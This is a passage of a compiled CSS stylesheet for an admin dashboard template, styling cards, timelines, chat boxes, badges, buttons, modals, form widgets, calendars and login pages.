      .card .feeds-widget .feed-item a .feeds-body {
        width: 100%; }
        .card .feeds-widget .feed-item a .feeds-body h4 {
          font-size: 16px;
          margin: 0;
          font-weight: 700;
          margin-bottom: 5px; }
          .card .feeds-widget .feed-item a .feeds-body h4 ~ small {
            text-overflow: ellipsis;
            white-space: nowrap;
            overflow: hidden;
            width: calc(100% - 60px);
            font-size: 13px;
            color: #777; }
    .card .feeds-widget .feed-item.feed-item {
      margin-top: -1px; }
.card .timeline .header {
  background-size: cover;
  color: #fff;
  position: relative; }
  .card .timeline .header .color-overlay {
    padding: 2em;
    box-sizing: border-box;
    background: rgba(123, 94, 155, 0.5);
    line-height: normal; }
    .card .timeline .header .color-overlay .day-number {
      font-size: 6em;
      margin-right: 15px;
      display: inline-block;
      font-weight: 700;
      line-height: 1; }
    .card .timeline .header .color-overlay .date-right {
      display: inline-block; }
      .card .timeline .header .color-overlay .date-right .day-name {
        font-size: 22px; }
      .card .timeline .header .color-overlay .date-right .month {
        text-transform: uppercase;
        margin-top: 2px; }
.card .timeline ul {
  list-style: none;
  position: relative;
  padding-left: 30px;
  padding-top: 10px;
  margin: 0; }
  .card .timeline ul:before, .card .timeline ul::before {
    content: ' ';
    height: 100%;
    width: 1px;
    background-color: #f0f0f0;
    position: absolute;
    top: 0;
    left: 35px;
    z-index: 1; }
  .card .timeline ul li {
    padding-bottom: 15px; }
    .card .timeline ul li .bullet {
      width: 10px;
      height: 10px;
      display: inline-block;
      z-index: 2;
      position: relative;
      vertical-align: top;
      margin: 7px 0;
      margin-right: 5px;
      border-radius: 50%;
      -webkit-border-radius: 50%;
      -moz-border-radius: 50%; }
    .card .timeline ul li .time {
      width: 20%;
      font-size: 10px;
      margin: 6px 0;
      vertical-align: top;
      display: inline-block; }
    .card .timeline ul li .desc {
      width: 65%;
      display: inline-block; }
      .card .timeline ul li .desc h3 {
        margin: 0;
        font-size: 14px;
        font-weight: 700; }
      .card .timeline ul li .desc h4 {
        margin-top: 5px;
        font-size: 12px;
        color: #999; }
.card .task-list {
  margin: 0;
  padding: 0; }
  .card .task-list li {
    display: block;
    padding: 15px 0 15px 0;
    margin: 0;
    cursor: pointer; }
    .card .task-list li:first-child {
      padding-top: 0; }
    .card .task-list li.list span {
      float: left;
      margin-top: 20px;
      color: #FF7E39; }
      .card .task-list li.list span:before, .card .task-list li.list span::before {
        font-size: 1.5rem;
        content: "\e83f";
        font-family: 'iconkit';
        vertical-align: middle;
        border: 3px solid #FF7E39;
        padding: 4px;
        border-radius: 50%;
        -webkit-border-radius: 50%;
        -moz-border-radius: 50%; }
    .card .task-list li.list .task-details {
      margin-left: 60px; }
      .card .task-list li.list .task-details p {
        margin: 0;
        padding: 10px 0 6px 0;
        line-height: 140%; }
        .card .task-list li.list .task-details p.date {
          padding: 0;
          margin: 0;
          font-size: .75rem; }
    .card .task-list li.completed {
      text-decoration: line-through;
      color: #8796af;
      -moz-transition: all 0.3s ease-out;
      -o-transition: all 0.3s ease-out;
      -webkit-transition: all 0.3s ease-out;
      transition: all 0.3s ease-out; }
      .card .task-list li.completed span:before, .card .task-list li.completed span::before {
        color: #50b924;
        border: 3px solid #50b924; }
.card .chat-box .chat-list {
  margin: 0;
  padding: 0;
  list-style: none; }
  .card .chat-box .chat-list .chat-item {
    list-style: none;
    margin-top: 30px; }
    .card .chat-box .chat-list .chat-item .chat-img {
      display: inline-block;
      width: 45px;
      vertical-align: top; }
      .card .chat-box .chat-list .chat-item .chat-img img {
        width: 45px;
        border-radius: 100%;
        -webkit-border-radius: 100%;
        -moz-border-radius: 100%; }
    .card .chat-box .chat-list .chat-item .chat-content {
      width: calc(100% - 50px);
      display: inline-block;
      padding-left: 15px; }
      .card .chat-box .chat-list .chat-item .chat-content .box {
        display: inline-block;
        padding: 10px;
        margin-bottom: 3px;
        color: #343a40;
        background: #f6f8f9;
        border-radius: 6px;
        -webkit-border-radius: 6px;
        -moz-border-radius: 6px; }
    .card .chat-box .chat-list .chat-item .chat-time {
      display: block;
      font-size: 10px;
      color: #4F5467;
      margin: 5px 0 15px 65px; }
    .card .chat-box .chat-list .chat-item.odd .chat-content {
      text-align: right;
      width: calc(100% - 0px); }
      .card .chat-box .chat-list .chat-item.odd .chat-content .box {
        clear: both;
        color: #fff;
        background: #137eff; }
    .card .chat-box .chat-list .chat-item.odd .chat-time {
      text-align: right; }
    .card .chat-box .chat-list .chat-item.odd + .odd {
      margin-top: 0; }
    .card .chat-box .chat-list .chat-item:first-child {
      margin-top: 0; }
.card .chat-footer {
  position: relative;
  background-color: #ffffff !important; }
  .card .chat-footer .input-wrap {
    padding-right: 50px; }
  .card .chat-footer .btn {
    position: absolute;
    top: 10px;
    right: 20px;
    width: 35px;
    height: 35px; }
.card .card-title {
  font-size: 18px; }
.card .card-subtitle {
  font-weight: 300;
  margin-bottom: 10px;
  color: #afb5c1; }

.jvectormap-tip {
  border: none;
  font-family: 'Nunito Sans', sans-serif;
  font-weight: 700;
  padding: 5px 10px;
  font-size: 11px; }

.card .card-body .dataTables_wrapper .dataTable {
  margin-left: -20px;
  width: calc(100% + 40px); }
.card .card-body .dataTables_wrapper .form-control {
  border: none;
  min-height: 30px;
  background-color: #f4f4f4; }
.card .card-body .dataTables_wrapper select.form-control {
  height: 30px !important; }
.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link {
  margin-left: 5px;
  min-width: 30px;
  height: 30px;
  padding: 0;
  text-align: center;
  line-height: 30px;
  border: none;
  background-color: #f4f4f4;
  color: #212121;
  border-radius: 30px;
  -webkit-border-radius: 30px;
  -moz-border-radius: 30px; }
.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link {
  padding: 0 15px; }
.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link {
  color: #6c757d;
  background-color: #f4f4f4;
  cursor: not-allowed; }
.card .card-table .card-item {
  border-top: 1px solid #ededed; }

.table thead {
  background-color: #f6f8fb; }
  .table thead th {
    font-weight: 600;
    color: #879099;
    font-size: 14px; }
.table tbody td {
  vertical-align: middle; }
  .table tbody td .table-user-thumb {
    width: 30px;
    height: 30px;
    border-radius: 50%; }
  .table tbody td .table-actions {
    text-align: right; }
    .table tbody td .table-actions a {
      color: #bcc1c6;
      display: inline-block;
      margin-left: 8px;
      font-size: 16px; }

.badge {
  padding: 6px 10px;
  font-size: 12px;
  font-weight: 600; }
  .badge.badge-top-left {
    top: 7px;
    right: 10px; }
  .badge.badge-top-left-2 {
    top: 40px;
    right: 10px; }

.badge-primary, .badge-success, .badge-info, .badge-warning, .badge-danger, .badge-inverse, .badge-purple, .badge-pink, .badge-twitter, .badge-facebook, .badge-linkedin, .badge-google, .badge-dribbble, .badge-instagram {
  color: #ffffff !important; }

.badge-theme {
  background-color: #ef4153 !important; }

.badge-aqua {
  background-color: #3ec5d6 !important; }

.badge-blue {
  background-color: #19B5FE !important; }

.badge-light-blue {
  background-color: #89CFF0 !important; }

.badge-teal {
  background-color: #008081 !important; }

.badge-yellow {
  background-color: #F7CA18 !important; }

.badge-orange {
  background-color: #FF8000 !important; }

.badge-green {
  background-color: #26C281 !important; }

.badge-lime {
  background-color: #cad900 !important; }

.badge-red {
  background-color: #F22613 !important; }

.badge-fuchsia {
  background-color: #df2de3 !important; }

.badge-navy {
  background-color: #000080 !important; }

.badge-empty {
  background: transparent !important; }

.badge-primary {
  background-color: #007bff !important; }

.badge-success {
  background-color: #2dce89 !important; }

.badge-info {
  background-color: #11cdef !important; }

.badge-warning {
  background-color: #fb6340 !important; }

.badge-danger {
  background-color: #f5365c !important; }

.badge-muted {
  background-color: #6c757d !important; }

.badge-inverse {
  background-color: #4c5667 !important; }

.badge-purple {
  background-color: #BF55EC !important; }

.badge-pink {
  background-color: #f76397 !important; }

.badge-white {
  background-color: #ffffff !important; }

.btn .badge {
  padding: 2px 6px; }

.pagination .page-item {
  padding: 5px; }
  .pagination .page-item .page-link {
    outline: initial !important;
    box-shadow: none !important;
    line-height: 18px;
    min-width: 30px;
    text-align: center;
    height: 30px;
    padding: 6px 0px;
    border: none;
    background-color: #eaeaea;
    color: #3e5569;
    border-radius: 30px;
    -webkit-border-radius: 30px;
    -moz-border-radius: 30px; }
    .pagination .page-item .page-link.first, .pagination .page-item .page-link.last {
      color: #ffffff !important;
      background-color: #3e5569; }
  .pagination .page-item.active .page-link {
    background-color: #007bff !important;
    color: #ffffff !important; }

.btn {
  padding: 6px 14px;
  height: 30px;
  font-size: 13px;
  font-weight: 600;
  -moz-transition: 0.3s ease-in-out;
  -o-transition: 0.3s ease-in-out;
  -webkit-transition: 0.3s ease-in-out;
  transition: 0.3s ease-in-out; }
  .btn i {
    margin-right: 5px; }

.btn-icon {
  width: 30px;
  height: 30px;
  padding: 0;
  text-align: center;
  line-height: 32px;
  font-size: 14px;
  display: inline-block;
  border-radius: 50%;
  -webkit-border-radius: 50%;
  -moz-border-radius: 50%;
  -moz-transition: all 0.5s ease-in-out;
  -o-transition: all 0.5s ease-in-out;
  -webkit-transition: all 0.5s ease-in-out;
  transition: all 0.5s ease-in-out; }
  .btn-icon i {
    margin-right: 0 !important; }

.social-btn {
  width: 30px;
  height: 30px;
  padding: 0;
  border-radius: 50%;
  text-align: center;
  line-height: 30px;
  color: #ffffff !important; }
  .social-btn i {
    margin: 0; }

.btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger, .btn-inverse, .btn-purple, .btn-pink, .btn-twitter, .btn-facebook, .btn-linkedin, .btn-google, .btn-dribbble, .btn-instagram {
  color: #ffffff !important; }

.btn-theme {
  background: linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%);
  color: #fff; }

.btn-default {
  background-color: #dae6ec;
  border-color: #dae6ec; }
  .btn-default:focus, .btn-default:hover, .btn-default:active, .btn-default.active {
    background-color: #dae6ec;
    border-color: #C2CED4; }

.btn-primary {
  background-color: #007bff !important;
  border: 1px solid #007bff !important; }
  .btn-primary:hover, .btn-primary:focus, .btn-primary.active {
    background-color: #1d7dca !important;
    border: 1px solid #1d7dca !important; }

.btn-success {
  background-color: #2dce89 !important;
  border: 1px solid #2dce89 !important; }
  .btn-success:hover, .btn-success:focus, .btn-success.active {
    background-color: #009886 !important;
    border: 1px solid #009886 !important; }

.btn-info {
  background-color: #11cdef !important;
  border: 1px solid #11cdef !important; }
  .btn-info:hover, .btn-info:focus, .btn-info.active {
    background-color: #25d8f6 !important;
    border: 1px solid #25d8f6 !important; }

.btn-warning {
  background-color: #fb6340 !important;
  border: 1px solid #fb6340 !important; }
  .btn-warning:hover, .btn-warning:focus, .btn-warning.active {
    background-color: #e69900 !important;
    border: 1px solid #e69900 !important; }

.btn-danger {
  background-color: #f5365c !important;
  border: 1px solid #f5365c !important; }
  .btn-danger:focus, .btn-danger:hover, .btn-danger.active {
    background-color: #ed3c39 !important;
    border: 1px solid #ed3c39 !important; }

.btn-inverse {
  background-color: #4c5667 !important;
  border: 1px solid #4c5667 !important; }
  .btn-inverse:hover, .btn-inverse:focus, .btn-inverse.active {
    background-color: #414a58 !important;
    border: 1px solid #414a58 !important; }

.btn-purple {
  background-color: #BF55EC !important;
  border: 1px solid #BF55EC !important; }
  .btn-purple:hover, .btn-purple:focus, .btn-purple.active {
    background-color: #6254b2 !important;
    border: 1px solid #6254b2 !important; }

.btn-pink {
  background-color: #f76397 !important;
  border: 1px solid #f76397 !important; }
  .btn-pink:hover, .btn-pink:focus, .btn-pink.active {
    background-color: #f64b87 !important;
    border: 1px solid #f64b87 !important; }

.btn-facebook {
  background: #3b579d !important; }

.btn-twitter {
  background: #1da1f2 !important; }

.btn-dribbble {
  background: #ea4c89 !important; }

.btn-linkedin {
  background: #0177b4 !important; }

.btn-google {
  background: #dc4a38 !important; }

.btn-instagram {
  background: #fb3958 !important; }

.template-demo .btn {
  margin-right: 10px;
  margin-bottom: 10px; }

.btn-group .btn {
  margin: 0; }

.full-window-modal .modal-dialog {
  position: fixed;
  width: 100%;
  height: 100%;
  margin: 0;
  max-width: 100%;
  left: 0;
  top: 0;
  bottom: 0;
  display: block; }
  .full-window-modal .modal-dialog .modal-content {
    height: 100vh;
    border: none;
    border-radius: 0;
    -webkit-border-radius: 0;
    -moz-border-radius: 0; }
    .full-window-modal .modal-dialog .modal-content .modal-body {
      height: calc(100vh - 50px);
      overflow-x: auto; }
    .full-window-modal .modal-dialog .modal-content .modal-footer {
      background-color: #393a3d;
      padding: 15px 24px;
      padding-top: 15px !important; }

.modal-open .apps-modal {
  overflow: hidden; }
  .modal-open .apps-modal .close {
    position: absolute;
    top: 20px;
    right: 20px;
    text-shadow: none;
    z-index: 9; }
  .modal-open .apps-modal .modal-dialog {
    width: 100%;
    max-width: 100%;
    border-radius: 0;
    margin: 0; }
    .modal-open .apps-modal .modal-dialog .modal-content {
      border: none;
      border-radius: 0;
      min-height: 100vh;
      background-color: #ffffff !important; }
      .modal-open .apps-modal .modal-dialog .modal-content .quick-search {
        position: absolute;
        width: 100%;
        top: 17px;
        padding: 0 50px;
        z-index: 9; }
        .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap {
          position: relative; }
          .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i {
            position: absolute;
            right: 5px;
            top: 0;
            width: 30px;
            height: 35px;
            border-radius: 50%;
            line-height: 35px;
            text-align: center; }
      .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap {
        display: -webkit-box;
        display: -moz-box;
        display: -ms-flexbox;
        display: -webkit-flex;
        display: flex;
        -webkit-flex-flow: row wrap;
        -moz-flex-flow: row wrap;
        -ms-flex-flow: row wrap;
        flex-flow: row wrap;
        -webkit-justify-content: center;
        -moz-justify-content: center;
        -ms-justify-content: center;
        justify-content: center;
        -ms-flex-pack: center;
        width: 100%; }
        .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item {
          width: 130px;
          height: 100px;
          margin: 10px;
          color: #ccc;
          text-align: center;
          display: -webkit-box;
          display: -moz-box;
          display: -ms-flexbox;
          display: -webkit-flex;
          display: flex;
          -webkit-align-items: center;
          -moz-align-items: center;
          -ms-align-items: center;
          align-items: center;
          -webkit-justify-content: center;
          -moz-justify-content: center;
          -ms-justify-content: center;
          justify-content: center;
          -ms-flex-pack: center; }
          .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a {
            display: inline-block; }
            .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i {
              font-size: 40px;
              color: #3e5569;
              display: inline-block;
              margin-bottom: 10px;
              -moz-transition: all 0.3s ease 0s;
              -o-transition: all 0.3s ease 0s;
              -webkit-transition: all 0.3s ease 0s;
              transition: all 0.3s ease 0s; }
            .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span {
              display: block;
              font-size: 14px;
              color: #3e5569; }
          .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i {
            color: #ef4153 !important; }
  .modal-open .apps-modal.fade .modal-dialog {
    overflow: hidden;
    -moz-transform: translate(0, 0) scale(1.2);
    -o-transform: translate(0, 0) scale(1.2);
    -ms-transform: translate(0, 0) scale(1.2);
    -webkit-transform: translate(0, 0) scale(1.2);
    transform: translate(0, 0) scale(1.2); }
  .modal-open .apps-modal.fade.show .modal-dialog {
    -moz-transform: translate(0, 0) scale(1);
    -o-transform: translate(0, 0) scale(1);
    -ms-transform: translate(0, 0) scale(1);
    -webkit-transform: translate(0, 0) scale(1);
    transform: translate(0, 0) scale(1); }

.form-control {
  height: auto;
  min-height: 35px;
  border: 1px solid #eaeaea;
  padding: 0 10px;
  background-color: #fff;
  font-size: 13px;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .form-control.placeholder {
    color: #999999; }
  .form-control:-moz-placeholder {
    color: #999999; }
  .form-control::-moz-placeholder {
    color: #999999; }
  .form-control:-ms-input-placeholder {
    color: #999999; }
  .form-control::-webkit-input-placeholder {
    color: #999999; }
  .form-control:focus {
    background-color: #eff1f3;
    border-color: #eaeaea;
    -webkit-box-shadow: none;
    box-shadow: none; }

select.form-control {
  -webkit-appearance: none;
  -moz-appearance: none;
  appearance: none;
  padding-right: 20px;
  background-image: url("../img/down-arrow.svg");
  background-position: center right 15px;
  background-repeat: no-repeat;
  -webkit-background-size: 10px;
  background-size: 10px;
  height: 35px !important; }

textarea.form-control {
  padding: 10px 15px;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }

.custom-radio .custom-control-label {
  line-height: 24px; }

.custom-checkbox .custom-control-label {
  line-height: 24px; }
.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {
  background-image: none;
  content: "\e83f";
  line-height: 16px;
  font-family: 'iconkit';
  color: #fff; }

.custom-control-label {
  text-align: center; }

.input-group .input-group-prepend .input-group-text {
  border-top-left-radius: 4px;
  border-bottom-left-radius: 4px;
  background-color: #eaeaea;
  border-color: #eaeaea;
  padding-left: 15px;
  height: 35px;
  font-size: 14px; }
.input-group .input-group-prepend .btn {
  height: 35px;
  border-top-left-radius: 4px;
  border-bottom-left-radius: 4px; }
.input-group .input-group-append .input-group-text {
  border-top-right-radius: 4px;
  border-bottom-right-radius: 4px;
  background-color: #eaeaea;
  border-color: #eaeaea;
  padding-right: 15px;
  height: 35px;
  font-size: 14px; }
.input-group .input-group-append .btn {
  height: 35px;
  border-top-right-radius: 4px;
  border-bottom-right-radius: 4px; }

.form-group .file-upload-default {
  visibility: hidden;
  position: absolute; }
.form-group .file-upload-info {
  background: transparent !important; }

.select2.select2-container--default .select2-selection--single {
  border-color: #eaeaea;
  height: 35px;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .select2.select2-container--default .select2-selection--single .select2-selection__rendered {
    line-height: 35px;
    padding-left: 15px;
    padding-right: 30px; }
  .select2.select2-container--default .select2-selection--single .select2-selection__arrow {
    height: 33px;
    right: 8px; }
.select2.select2-container--default .select2-selection--multiple {
  border-color: #eaeaea; }
  .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered {
    margin-top: 1px; }
    .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice {
      border: none;
      padding: 1px 5px; }
.select2.select2-container--default.select2-container--focus .select2-selection--multiple {
  border-color: #8e8e8e; }
.select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom-left-radius: 4px;
  border-bottom-right-radius: 4px; }
.select2.select2-container .select2-selection--multiple {
  min-height: 35px; }

.select2-container--default .select2-dropdown {
  background-color: #ffffff !important;
  border: none;
  border-radius: 6px;
  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); }
  .select2-container--default .select2-dropdown .select2-search--dropdown {
    padding: 5px; }
    .select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field {
      height: 30px;
      border: none;
      background-color: #eaeaea;
      padding: 5px 10px;
      border-radius: 4px;
      -webkit-border-radius: 4px;
      -moz-border-radius: 4px; }
  .select2-container--default .select2-dropdown .select2-results .select2-results__options {
    padding: 5px; }

.select2-results__option {
  background-color: #fff;
  padding: 8px 15px;
  border-radius: 4px;
  line-height: 14px; }

.bootstrap-datetimepicker-widget .table thead {
  background-color: transparent !important; }
  .bootstrap-datetimepicker-widget .table thead tr th {
    color: #212121 !important;
    border-radius: 6px;
    -webkit-border-radius: 6px;
    -moz-border-radius: 6px; }
.bootstrap-datetimepicker-widget .table tr td, .bootstrap-datetimepicker-widget .table tr th {
  text-align: center;
  width: 35px;
  height: 35px;
  border-radius: 50%;
  border: none;
  line-height: 35px;
  position: relative;
  z-index: 1; }
.bootstrap-datetimepicker-widget .table tr td.today, .bootstrap-datetimepicker-widget .table tr td.active {
  color: #ffffff !important;
  position: relative;
  z-index: 1;
  background-color: transparent;
  text-shadow: none; }
  .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before, .bootstrap-datetimepicker-widget .table tr td.active:before, .bootstrap-datetimepicker-widget .table tr td.active::before {
    width: 30px;
    height: 30px;
    border-radius: 50%;
    border: none;
    background-color: #4a5361;
    position: absolute;
    z-index: -1;
    display: block;
    margin: auto;
    content: '';
    top: 6px;
    left: 0px;
    right: 0px;
    bottom: auto;
    -moz-transform: scale(1);
    -o-transform: scale(1);
    -ms-transform: scale(1);
    -webkit-transform: scale(1);
    transform: scale(1); }
.bootstrap-datetimepicker-widget .table tr td.active:hover:before, .bootstrap-datetimepicker-widget .table tr td.active:hover::before {
  background-color: #4a5361 !important; }
.bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before {
  background-color: #ef4153 !important; }
.bootstrap-datetimepicker-widget .table tr td.day:hover, .bootstrap-datetimepicker-widget .table tr td.hour:hover, .bootstrap-datetimepicker-widget .table tr td.minute:hover, .bootstrap-datetimepicker-widget .table tr td.second:hover {
  background-color: transparent; }
.bootstrap-datetimepicker-widget .table tr td:before, .bootstrap-datetimepicker-widget .table tr td::before {
  width: 30px;
  height: 30px;
  border-radius: 50%;
  border: none;
  background-color: transparent;
  position: absolute;
  z-index: -1;
  display: block;
  margin: auto;
  content: '';
  top: 6px;
  left: 0px;
  right: 0px;
  bottom: auto;
  -moz-transform: scale(0);
  -o-transform: scale(0);
  -ms-transform: scale(0);
  -webkit-transform: scale(0);
  transform: scale(0);
  -moz-transition: 0.3s ease-in-out;
  -o-transition: 0.3s ease-in-out;
  -webkit-transition: 0.3s ease-in-out;
  transition: 0.3s ease-in-out; }
.bootstrap-datetimepicker-widget .table tr td:hover:before, .bootstrap-datetimepicker-widget .table tr td:hover::before {
  background-color: #f4f4f4;
  -moz-transform: scale(1);
  -o-transform: scale(1);
  -ms-transform: scale(1);
  -webkit-transform: scale(1);
  transform: scale(1); }
.bootstrap-datetimepicker-widget .timepicker table td {
  position: relative;
  z-index: 1;
  width: 35px;
  height: 35px;
  line-height: 35px; }
  .bootstrap-datetimepicker-widget .timepicker table td .btn {
    height: auto; }
  .bootstrap-datetimepicker-widget .timepicker table td span {
    width: 35px;
    height: 35px;
    line-height: 35px; }
.bootstrap-datetimepicker-widget.dropdown-menu {
  min-width: 280px; }
  .bootstrap-datetimepicker-widget.dropdown-menu.bottom:before, .bootstrap-datetimepicker-widget.dropdown-menu.bottom::before {
    border-bottom-color: #fff; }
  .bootstrap-datetimepicker-widget.dropdown-menu.top:before, .bootstrap-datetimepicker-widget.dropdown-menu.top::before {
    border-top-color: #fff; }
  .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td {
    width: 30px;
    height: 30px;
    line-height: 30px; }
  .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before {
    top: 4px;
    left: 0px; }
  .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before {
    top: 4px;
    left: 0px; }

.bootstrap-tagsinput {
  display: block;
  border: 1px solid #eaeaea;
  min-height: 35px;
  padding: 0px 10px;
  padding-top: 4px;
  -webkit-box-shadow: none;
  -moz-box-shadow: none;
  box-shadow: none; }
  .bootstrap-tagsinput .tag {
    padding: 1px 5px;
    margin-right: 2px;
    margin-bottom: 4px;
    display: inline-block;
    text-transform: capitalize;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    background-color: #4c5667 !important; }

.note-editor.note-frame.card {
  -webkit-box-shadow: none;
  -moz-box-shadow: none;
  box-shadow: none; }

.slider-nav .left-arrow, .slider-nav .right-arrow {
  font-size: 20px;
  color: #145388;
  display: inline-block;
  vertical-align: middle;
  margin: 0 15px; }
.slider-nav .slider-dot-container {
  display: inline-block; }
  .slider-nav .slider-dot-container .owl-dot {
    width: 6px;
    height: 6px;
    border-radius: 10px;
    color: #00a7e2;
    background: #7cb9ec;
    outline: initial !important;
    border: initial;
    margin: 0 5px;
    padding: 0; }
    .slider-nav .slider-dot-container .owl-dot.active {
      background: #145388; }

.fc .fc-toolbar .fc-button {
  background: #4a5361;
  color: #fff;
  padding: 5px 10px;
  height: auto;
  border: none;
  text-transform: capitalize;
  text-shadow: none;
  -webkit-box-shadow: none;
  -moz-box-shadow: none;
  box-shadow: none; }
  .fc .fc-toolbar .fc-button .fc-icon {
    margin: 0;
    top: 0; }
    .fc .fc-toolbar .fc-button .fc-icon:after, .fc .fc-toolbar .fc-button .fc-icon::after {
      font-family: "iconkit";
      font-size: 16px; }
    .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after {
      content: "\e843"; }
    .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after {
      content: "\e844"; }
  .fc .fc-toolbar .fc-button.fc-state-active, .fc .fc-toolbar .fc-button.fc-state-down {
    background: #272d36 !important; }
.fc .fc-toolbar h2 {
  font-size: 22px;
  font-weight: 600; }
.fc .fc-view-container .fc-view table thead tr td.fc-widget-header, .fc .fc-view-container .fc-view table thead tr th.fc-widget-header {
  color: #4a5361;
  background: #f3f4f4;
  border-color: #f3f4f4;
  padding: 10px 0px; }
.fc .fc-view-container .fc-view .fc-day-number {
  float: left;
  padding: 10px 0 5px 10px; }
.fc .fc-view-container .fc-view .fc-other-month {
  background: #f3f9ff; }
.fc .fc-view-container .fc-view .fc-event-container .fc-event {
  display: block;
  padding: 3px 5px;
  color: #ffffff !important;
  font-weight: 600;
  font-size: 12px;
  border: none; }

.fc-unthemed .fc-content, .fc-unthemed .fc-divider, .fc-unthemed .fc-list-heading, .fc-unthemed .fc-list-view, .fc-unthemed .fc-popover, .fc-unthemed .fc-row, .fc-unthemed tbody, .fc-unthemed td, .fc-unthemed thead {
  border-color: #f3f4f4; }

.color-selector {
  padding: 0;
  margin: 0;
  list-style: none; }
  .color-selector li {
    position: relative;
    display: inline-block;
    width: 25px;
    height: 25px;
    margin: 0 8px 8px 0;
    background-color: #3e8ef7;
    border-radius: 50%;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%; }
    .color-selector li input[type=radio] {
      position: absolute;
      top: 0;
      left: 0;
      z-index: 1;
      width: inherit;
      height: inherit;
      cursor: pointer;
      border-radius: inherit;
      opacity: 0; }
      .color-selector li input[type=radio]:checked + label:after, .color-selector li input[type=radio]:checked + label::after {
        position: absolute;
        top: 0px;
        left: 5px;
        display: inline-block;
        margin-top: -3px;
        font-size: 16px;
        line-height: 1;
        content: "\e83f";
        color: #fff; }
    .color-selector li label {
      position: relative;
      margin-bottom: .4rem;
      font-family: "iconkit";
      font-style: normal;
      font-weight: 400;
      font-variant: normal;
      text-transform: none; }
    .color-selector li:last-child {
      margin-right: 0; }

.alert {
  border: none; }
  .alert .close {
    font-size: 18px;
    padding: 12px 15px; }

.jq-icon-info {
  background-color: #11cdef !important;
  color: #ffffff !important;
  border: none; }

.jq-icon-warning {
  background-color: #fb6340 !important;
  color: #ffffff !important; }

.jq-icon-error {
  background-color: #f5365c !important;
  color: #ffffff !important; }

.jq-icon-success {
  color: #ffffff !important;
  background-color: #2dce89 !important; }

.jq-toast-single, .jq-toast-single h2 {
  font-family: 'Nunito Sans', sans-serif; }

.auth-wrapper .lavalite-bg {
  height: 100vh;
  position: relative;
  width: 100%;
  -webkit-background-size: cover;
  background-size: cover;
  background-repeat: no-repeat; }
  .auth-wrapper .lavalite-bg .lavalite-overlay {
    position: absolute;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    background: linear-gradient(135deg, rgba(46, 52, 81, 0.4) 0%, rgba(52, 40, 104, 0.95) 100%); }
.auth-wrapper .authentication-form {
  font-size: .9rem;
  width: 70%;
  display: block;
  padding: 100px 0; }
  .auth-wrapper .authentication-form .logo-centered {
    width: 60px;
    margin: 0 auto;
    margin-bottom: 40px; }
  .auth-wrapper .authentication-form h3 {
    font-size: 20px;
    color: #272d36;
    margin-bottom: 20px; }
  .auth-wrapper .authentication-form .form-group {
    position: relative; }
    .auth-wrapper .authentication-form .form-group .form-control {
      padding-left: 40px; }
      .auth-wrapper .authentication-form .form-group .form-control ~ i {
        position: absolute;
        top: 10px;
        left: 15px; }
  .auth-wrapper .authentication-form .sign-btn {
    margin-top: 30px; }
  .auth-wrapper .authentication-form .register {
    margin-top: 30px;
    text-align: center; }

body {
  color: #212121;
  font-size: .8rem;
  line-height: 1.5;
  font-weight: 400;
  font-family: "Nunito Sans", sans-serif; }

.dropdown-toggle:after, .dropdown-toggle::after {
  display: none; }

.tooltip {
  font-family: "Nunito Sans", sans-serif;
  font-size: 12px;
  font-weight: 700; }

.truncate {
  text-overflow: ellipsis;
  white-space: nowrap;
  overflow: hidden; }

.progress-sm {
  height: .5rem; }
  .progress-sm .progress-bar {
    height: .5rem; }

.img-thumbnail, .list-thumbnail {
  border-radius: .1rem;
  padding: 0;
  border: initial; }

.list-thumbnail {
  height: auto;
  max-width: unset;
  height: 85px;
  object-fit: cover;
